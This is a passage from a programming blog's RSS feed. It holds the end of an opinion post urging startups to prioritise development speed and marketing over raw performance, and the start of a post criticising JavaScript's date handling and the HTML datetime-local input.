{&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Throughout this virtual odyssey, we completely forgot about what is probably the only factor that matters: the boring market.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-much-do-requests-per-second-matter-at-a-startup&#34;&gt;How much do requests per second matter at a startup?&lt;/h2&gt;&#xA;&lt;p&gt;If you, or your company, are not a major league player on the Internet, you are probably giving more importance than necessary to the fact that your application serves 1 request per second instead of 100.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/techempower-benchmark.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/techempower-benchmark.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Requests per second techempower benchmark&#34; width=&#34;864&#34; height=&#34;531&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Some frameworks can handle up to 600k requests per second&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Yes, it is true that we are talking about a factor of 100, but consider the following:&#xA;One request per second means 60 in a minute, 3600 in an hour and 86400 a day.&lt;/p&gt;&#xA;&lt;p&gt;Are you really worried about your application having a traffic of 86400 requests in a day? If you already have such traffic, paying an extra developer to tune the gears of your software should not be a problem, and if it is, &lt;strong&gt;you probably don&amp;rsquo;t have a performance problem, but a monetization problem&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Not every project requires you to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/rust/what-makes-rust-so-difficult-to-learn/&#34;&gt;learn the difficult Rust Syntax&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;does-memory-consumption-matter-in-a-new-web-application&#34;&gt;Does memory consumption matter in a new web application?&lt;/h2&gt;&#xA;&lt;p&gt;Does it matter whether your application runs with minimal memory consumption using a low-level language, or with higher consumption using a high-level language. I would say it depends; if your application or project is new, it&amp;rsquo;s probably worth paying a few dollars more per month for extra memory in exchange for a higher development speed in each iteration.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;m not saying that it&amp;rsquo;s wrong to take care of the technical aspects, but right now there are more important things, such as acquiring information that will translate into profitability later, or allocating more resources to marketing and advertising your startup or project than wasting time ironing out the kinks in your code.&lt;/p&gt;&#xA;&lt;p&gt;Optimizing for good SEO is also more important than the memory consumption or the efficiency of your application, believe me, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/&#34;&gt;I learned the importance of SEO from my own mistakes&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll say it again just in case you didn&amp;rsquo;t get it: marketing and sales are more important than the quality of your software when you start a project.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/wordpress-meme.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/wordpress-meme.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Wordpress vs node meme&#34; width=&#34;800&#34; height=&#34;720&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;development-speed-vs-performance&#34;&gt;Development speed vs. performance&lt;/h2&gt;&#xA;&lt;p&gt;For most startups or solopreneurs, the market exploration process will be more important than reducing resource consumption. What good does it do you to cut your RAM and processor consumption in half if your iterations are going to go from one week to two and a half weeks?&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/rustaceans-vs-gophers.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/rustaceans-vs-gophers.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Time compilation differences between rust and go meme&#34; width=&#34;800&#34; height=&#34;612&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;usually-fast-enough-is-enough&#34;&gt;Usually fast enough is enough&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Do not choose an efficient language, but one that allows you to be flexible to changes and adapt quickly while obtaining information. In this case, the speed of developing new features or modifying existing ones is much more important than their performance.&lt;/p&gt;&#xA;&lt;p&gt;Remember that &lt;strong&gt;in technology everything is a trade-off&lt;/strong&gt;, in this case performance for productivity.&lt;/p&gt;&#xA;&lt;p&gt;Also, keep in mind that this also applies when choosing the tools you know; &lt;strong&gt;you may be faster programming in a low level language that you already master, than in a high level language that you don&amp;rsquo;t master.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sometimes using an &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-n8n-review-after-using-it-for-half-a-year/&#34;&gt;automation tool like n8n&lt;/a&gt;&#xA;&#xA;can be better than programming everything from scratch.&lt;/p&gt;&#xA;&lt;h3 id=&#34;keep-the-technical-debt-in-mind&#34;&gt;Keep the technical debt in mind&lt;/h3&gt;&#xA;&lt;p&gt;Another thing, when optimizing for development speed, don&amp;rsquo;t forget to consider technical debt, find the tipping point and pivot towards scalability.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/design-stamina-graph.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/design-stamina-graph.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Design stamina graph&#34; width=&#34;618&#34; height=&#34;329&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Credits: Martin Fowler&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;situations-where-performance-and-security-do-matter&#34;&gt;Situations where performance and security do matter.&lt;/h2&gt;&#xA;&lt;p&gt;Does it mean that you should forget about all other languages and try to implement all your ideas in a tool written in a mediocre language &lt;del&gt;javascript&lt;/del&gt; just for the speed of development?, no, I think there are situations where it is crucial to choose the fastest, safest and most efficient, like for example: for browsers, game engines or operating systems (however this post is about web applications), although, again, you are not going to design an operating system by yourself&amp;hellip; unless you want your OS to be the third temple of Jerusalem and you want to communicate with god.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/temple-os.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/temple-os.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme of temple os, a system that supposedly would be the third temple of Jerusalem and would allow to communicate with god.&#34; width=&#34;800&#34; height=&#34;881&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Using a low-level language is usually the right decision for situations where performance is critical, you don&amp;rsquo;t want services where people&amp;rsquo;s lives or health are at stake written in high-level languages, which tend to be more flexible in typing and more prone to runtime errors.&lt;/p&gt;&#xA;&lt;p&gt;You will also want performance and security in environments where you deal with things even more important than people&amp;rsquo;s lives, such as applications related to the financial market and where significant amounts of money are handled (sarcasm, just in case, the only people who think like that are the people on Wall street).&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/gamestop-meme.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/images/gamestop-meme.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Gamestop meme about an angry millonaire upsed about reddit strategy&#34; width=&#34;720&#34; height=&#34;899&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;top-tools-to-get-shit-done-in-web-development&#34;&gt;Top Tools To Get Shit Done in web development&lt;/h2&gt;&#xA;&lt;p&gt;I am an advocate of avoiding reinventing the wheel every time. It&amp;rsquo;s quite annoying to have to create authentication systems, CRUDS, database queries over and over again, even though some communities, like Go, prefer to implement everything from scratch.&lt;/p&gt;&#xA;&lt;p&gt;Here is a list of some of my favorite solutions to save you all the boilerplate and focus on what&amp;rsquo;s important, that although they don&amp;rsquo;t have the best performance, they focus on having working prototypes as soon as possible.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wordpress: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/to-program-a-blog-or-to-use-wordpress/&#34;&gt;because you already know&amp;rsquo;&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Ruby on Rails: Mature framework, with a long history and easy to use.&lt;/li&gt;&#xA;&lt;li&gt;Coolify: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coolify.io/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Coolify is an alternative to Vercel/Netifly/Heroku&lt;/a&gt;&#xA;, but open source and with a permissive license.&lt;/li&gt;&#xA;&lt;li&gt;AdonisJs: Javascript with ORM and authentication included.&lt;/li&gt;&#xA;&lt;li&gt;Django: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;It&amp;rsquo;s easy to develop a MVP without having to reinvent the wheel&lt;/a&gt;&#xA;, also there is lot of info out there on &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/&#34;&gt;how to scale it to serve up to one million users.&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Pocketbase: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pocketbase.io/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Portable backend made in Go, a single binary, authentication and CRUD&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Supabase: Another portable backend, but in JavaScript&lt;/li&gt;&#xA;&lt;li&gt;Appwrite: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://appwrite.io/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Authentication, Databases, Functions, Storage, and Messaging&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/cookiecutter-django-for-configuring-and-deploying-in-django/&#34;&gt;Cookiecutter: templates to save you Boilerplate, the Django one is very good&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Hugo: Static site generator, fast enough (though not as fast as its Rust version, Zola)&lt;/li&gt;&#xA;&lt;li&gt;No-code tools&lt;/li&gt;&#xA;&lt;li&gt;Daisy UI: CSS library based on Tailwind.&lt;/li&gt;&#xA;&lt;li&gt;N8n, automation tool&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;care-for-performance-only-when-it-matters&#34;&gt;Care for performance only when it matters&lt;/h2&gt;&#xA;&lt;p&gt;Once the cash flow is sufficient, rewrite your application in a low-level language, get rid of the ORM and run your SQL queries manually, implement your own abstractions instead of using a framework, refactor your entire app with a more robust architecture pattern, and hire specialists to take care of every extra millisecond in your systems.&lt;/p&gt;&#xA;&lt;p&gt;When that time comes, I hope you get to the point where &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://discord.com/blog/why-discord-is-switching-from-go-to-rust&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;switching from a language like Go to Rust, as happened to Discord&lt;/a&gt;&#xA;, really makes a difference.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;This post is for you, who want to become independent from companies and are looking to create your own projects in the internet world. Have you ever thought if those extra milliseconds of performance that we get by switching a project to a more verbose language really matter that much or if the search for the fastest framework is really worth it?&lt;/p&gt;&#xA;&lt;p&gt;In the world of programmers there is an obsession with speed and performance; we want to squeeze every possible millisecond out of the language and reduce memory consumption to the minimum possible and write queries in their most elegant version that pushes our database to its speed limit and and subject them to the most rigorous &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/the-big-o-notation-for-algorithm-analysis/&#34;&gt;Big O performance analysis&lt;/a&gt;&#xA;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Why I abhor datetime-local and dates in Javascript?</title>
      <link>https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/</link>
      <pubDate>Wed, 20 Mar 2024 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/</guid>
      
      <category>javascript</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Working with Javascript is frustrating and, sometimes, combining it with HTML can be desperate due to its lack of internal coherence. On top of that, using it to handle dates, which requires considering the handling of timezones, different ways to represent them and the required sensitivity: seconds, minutes, milliseconds, etc. makes it a torture.&lt;/p&gt;&#xA;&lt;h2 id=&#34;javascript-handles-dates-in-a-strange-way&#34;&gt;Javascript handles dates in a strange way&lt;/h2&gt;&#xA;&lt;p&gt;Javascript uses months starting from index 0 and days from index 1, two objects with the same date are unequal when compared with === (yes, I know that what is being compared are the objects and not the dates), but it is just the fact that it is not intuitive, the language user is not interested in the objects in memory itself, but what they represent.&lt;/p&gt;&#xA;&lt;p&gt;Languages like &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/&#34;&gt;Python have better abstractions than Javascript&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/images/date-javascript.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/images/date-javascript.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Javascript&amp;#39;s date management is not intuitive&#34; width=&#34;908&#34; height=&#34;522&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Javascript&amp;rsquo;s date management is not intuitive&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;the-disconnection-between-html-and-js&#34;&gt;The disconnection between HTML and JS&lt;/h2&gt;&#xA;&lt;p&gt;In the case of scheduling an event with a date and time, it is tempting to use the native datetime-local input already provided by HTML. However, this field by default requires a date in &amp;ldquo;&lt;em&gt;YYYYY-MM-DDThh:mm&lt;/em&gt;&amp;rdquo; format, while javascript returns the dates in a Date object, which you must transform to ISO 6801 &amp;ldquo;&lt;em&gt;YYYYY-MM-DDThh:mm.iiiZ&lt;/em&gt;&amp;rdquo;, where the &amp;ldquo;i&amp;rdquo; is microseconds (or to another format with a function of its own).&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/images/two-dates-javascript.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/images/two-dates-javascript.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Two object with the same date in Javascript aren&amp;#39;t equal&#34; width=&#34;479&#34; height=&#34;195&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Javascript&amp;rsquo;s abstraction when it comes to dates can be confusing&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;To perform this transformation, the most obvious way is to remove the letter &amp;ldquo;Z&amp;rdquo;, but if you try to assign that date to the datetime-input input, it will allow the user to select the milliseconds, which really has little application for most users. The correct thing to do would be to slice from the beginning, making a slice from position 0 to the sensitivity we need.&lt;/p&gt;&#xA;&lt;p&gt;Well, after this the datetime-local input will work and show the date, the problem now is that after validating your HTML field and probably before saving those dates in some storage media (postgres, redis, etc.), you will want to make modifications, so you will have to convert them back to a Date object in javascript in case you want to manage them, which again implies another conversion.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/images/formatting-dates-in-javascript.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/images/formatting-dates-in-javascript.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;A meme that with irony, makes fun of Javasript&amp;#39;s date management&#34; width=&#34;740&#34; height=&#34;357&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Oh, mom! Not javascript again!&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;But what if we use a library to handle those changes?&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-js-libraries-for-time-handling-dont-solve-anything&#34;&gt;The js libraries for time handling don&amp;rsquo;t solve anything.&lt;/h2&gt;&#xA;&lt;p&gt;I have nothing against using Moment or react-datetimepicker, Dayjs, etc. In fact I think their developers perform a very worthy task: simplifying Javascript&amp;rsquo;s poor date handling (if any contributor reads this, thanks).&lt;/p&gt;&#xA;&lt;p&gt;Those libraries exist, because Javascript did a lousy job in designing its standard library. Libraries are convenient to use but, in an ideal world, they should not exist.&lt;/p&gt;&#xA;&lt;p&gt;It may seem insignificant to you to add one more library, but it&amp;rsquo;s not the weight that&amp;rsquo;s the problem, it&amp;rsquo;s the fact that a library for something as common as date handling is so necessary, plus it adds unnecessary weight to your bundle and an extra dependency to manage.&lt;/p&gt;&#xA;&lt;p&gt;The fact that these libraries are popular only highlights the shortcomings of JavaScript as a language.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;And yes, I know what you&amp;rsquo;re thinking. Although I really like &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;the Go programming language&lt;/a&gt;&#xA;, I&amp;rsquo;m also able to recognize their shortcomings and areas for improvement.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/images/date_formatting_golang.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/why-i-abhor-htmls-datetime-local-input-and-dates-management-in-javascript/images/date_formatting_golang.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Go date formatting is awful too&#34; width=&#34;766&#34; height=&#34;856&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Go&amp;rsquo;s date formatting, like Javascript&amp;rsquo;s, is awful&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;temporal-will-solve-all-this-mess&#34;&gt;Temporal 